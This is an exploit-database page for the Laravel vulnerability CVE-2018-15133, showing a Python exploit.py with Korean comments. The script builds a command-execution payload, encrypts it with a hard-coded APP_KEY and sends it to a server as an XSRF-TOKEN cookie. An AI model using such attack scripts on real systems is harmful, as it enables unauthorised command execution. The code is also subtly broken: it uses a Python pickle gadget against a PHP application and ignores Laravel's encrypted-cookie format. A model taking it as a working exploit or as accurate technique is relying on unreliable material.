Exploit databaseDownload repository ZIP
GH-a35513764d9ffdf20205f236d683c33a
yeahhbean/laravel-cve-2018-15133
Sources for CVE-2018-15133
16 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files7
yeahhbean/laravel-cve-2018-15133Revision 3673c7ac8ba2
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit.py
Suggested starting filePython · 1,150 bytesimport base64
import requests
# (1) 서버 주소
url = 'http://localhost:8080/'
# (2) APP_KEY
app_key = 'base64:A4Kr3YZ4X/ie77di/q8C8HK8vZB0VLw2jcVIeGtAa9k='
# (3) 실행할 명령어
command = "id" # 여기다 원하는 명령어 입력 가능
# base64 디코딩
key = base64.b64decode(app_key.split('base64:')[1])
# payload 만들기
import pickle
class RCE(object):
def __reduce__(self):
import os
return (os.system, (command,))
payload = pickle.dumps(RCE())
# AES CBC 암호화
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.backends import default_backend
cipher = Cipher(algorithms.AES(key), modes.CBC(b'\x00'*16), backend=default_backend())
encryptor = cipher.encryptor()
# padding (16바이트 맞추기)
padding_length = 16 - (len(payload) % 16)
payload += bytes([padding_length]) * padding_length
encrypted = encryptor.update(payload) + encryptor.finalize()
encoded = base64.b64encode(encrypted).decode()
# 서버로 전송
cookies = {
'XSRF-TOKEN': encoded,
}
print("[*] Sending payload...")
r = requests.get(url, cookies=cookies)
print(r.text)